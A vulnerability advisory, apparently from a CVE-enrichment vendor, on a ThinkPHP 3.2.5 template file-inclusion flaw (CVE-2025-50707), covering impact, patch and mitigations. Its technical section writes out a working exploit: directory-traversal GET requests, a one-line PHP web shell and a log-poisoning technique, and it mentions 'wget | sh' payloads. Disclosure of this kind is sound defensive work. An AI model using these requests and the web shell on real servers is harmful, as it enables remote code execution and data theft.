TL;DR
Any ThinkPHP application that still runs version 3.2.5 or earlier is vulnerable to a trivially exploitable file-inclusion bug. By abusing the framework’s template parsing logic an unauthenticated attacker can include a crafted.htmlfile that contains PHP, which then executes in the web server’s context. Public proof-of-concept code is already circulating and mass-scanning is expected because ThinkPHP is popular with high-traffic Chinese websites and low-cost hosting panels.
1. Summary
| CVE ID | CVE-2025-50707 |
| Affected Product(s) | ThinkPHP ≤ 3.2.5 when URL routing is enabled (default) |
| Volerion Risk Score | 7.9 / 10 |
| Exploit Status | Public PoC available |
| CISA KEV | No |
Unauthenticated users can craft a single GET request that forces ThinkPHP to treat an attacker-controlled file as a template. Because ThinkPHP evaluates PHP code that appears inside template files, the attacker gains arbitrary code execution as the web server user.
2. Context – Why another ThinkPHP bug is still a big deal
ThinkPHP has powered tens of thousands of small-to-medium websites across Asia for more than a decade. Many of those sites rely on shared hosting or abandoned CMS packages that bundle the 3.x branch and rarely receive updates. Similar ThinkPHP bugs in 2018 led to large-scale compromises of e-commerce stores and influencer blogs, which were then folded into cryptomining botnets. The attack surface remains large because:
- Version 3 is end-of-life yet still ships in one-click installers.
- Default deployments make the vulnerable entry point,
index.php, publicly reachable. - Exploitation needs no authentication, brute-force or exotic PHP settings.
In short, a dated but widespread framework plus a no-barrier exploit equals high real-world risk.
3. Technical Details – From template inclusion to remote shell
ThinkPHP builds a template path out of three GET parameters: m (module), c (controller) and a (action). The framework ultimately does:
$template = APP_PATH . $module . '/' . $controller . '/' . $action . '.html';
include $template;
No canonicalisation or extension check takes place. If the attacker injects directory-traversal sequences in the a parameter, the resulting path may leave the intended directory and reference any readable file on disk. When that file ends in .html ThinkPHP passes it through its template engine, which treats <?php ... ?> blocks as ordinary PHP.
A minimal exploit therefore looks like:
GET /index.php?m=Home&c=Index&a=../../Uploads/evil HTTP/1.1
Host: victim.example.com
Uploads/evil.html contains:
<?php system($_GET['cmd']); ?>
The next request to the same path executes arbitrary commands:
GET /index.php?m=Home&c=Index&a=../../Uploads/evil&cmd=id HTTP/1.1
Practically, attackers first upload the payload via an existing file-upload endpoint (many ThinkPHP-based CMS packages offer one). If no upload route exists, log-file poisoning is another option: send a web request that embeds <?php … ?> in the User-Agent header so it ends up in the access log, then include that log file with the traversal technique.
4. Impact – Complete server compromise in one round-trip
Once code executes, everything the PHP-FPM or Apache user can touch is at risk. That typically means database credentials inside config.php, session cookies for logged-in users, file-system write access to deface the site or plant backdoors and the ability to pivot deeper into the network if the web server lives on a flat LAN. Past ThinkPHP mass-exploitation waves resulted in:
- Ransomware dropped into
cron.dto encrypt home directories. - Skimmer scripts injected into online stores to harvest credit-card data.
- DDoS bots installed via simple
wget | shpayloads.
Because the bug is unauthenticated and has a proven history of large-scale abuse, defenders should treat even informational websites as high-value footholds.
5. Remediation – Patch, upgrade or block fast
The ThinkPHP maintainers released 3.2.6 which hardens parseTemplate by validating action names and forbidding directory traversal. If you must remain on 3.x, apply the single-line patch below and regenerate autoload files.
- $action = $_GET['a'];
+ $action = basename(str_replace(['..', '/'], '', $_GET['a']));
Short-term mitigations:
- Deploy a WAF rule that blocks
../sequences in theaparameter. - Deny all
.htmlrequests that reach outside the configured view directory viaopen_basedirordisable_functions. - Remove unused upload endpoints to prevent easy payload delivery.
Firewalls alone are not enough because obfuscated traversal strings and log-file inclusion bypass naive regex patterns. The safest path is a framework upgrade.
6. Timeline
| Date (UTC) | Milestone |
|---|---|
| 2024-07-15 | Researcher “xinyisleep” publishes technical write-up and PoC |
| 2025-08-05 15:15 | CVE-2025-50707 published by MITRE |
| 2025-08-05 15:18 | Volerion completes enrichment and assigns risk score |
7. References
- Technical analysis and PoC: https://xinyisleep.github.io/2024-07-15/Thinkphp3.%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-CNVD-2024-39045
- Supplemental write-up: https://xinyisleep.github.io/CVE-2025-50707.md
- MITRE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50707
About Volerion
Volerion delivers AI-driven enrichment minutes after a CVE goes live. A single call to our REST API returns CVSS 4.0 vectors, exploitability metrics and affected products complete with remediation. Additionally, we offer different scoring profiles, complete with insight into the eight comprehensive categories that make up the final score. Our API is also available in the traditional NVD API 2.0 format, so integration is as simple as swapping hosts. Spend less time parsing CVEs and more time closing them.
How the Volerion Risk Score Fits With CVSS, EPSS and KEV
At the time of writing:
- This CVE is scored at 10.0 using CVSS 3.1, reflecting maximum impact and ease of exploitation.
- EPSS currently shows 0 because the model has not yet generated a prediction for this new identifier.
- CISA has not added the vulnerability to its Known Exploited Vulnerabilities catalogue.
The Volerion Risk Score integrates these data points with additional context such as exploit maturity and product prevalence. For CVE-2025-50707 the score is 7.9, placing it in our high-risk band because public exploits exist and ThinkPHP remains widely deployed in unmanaged environments.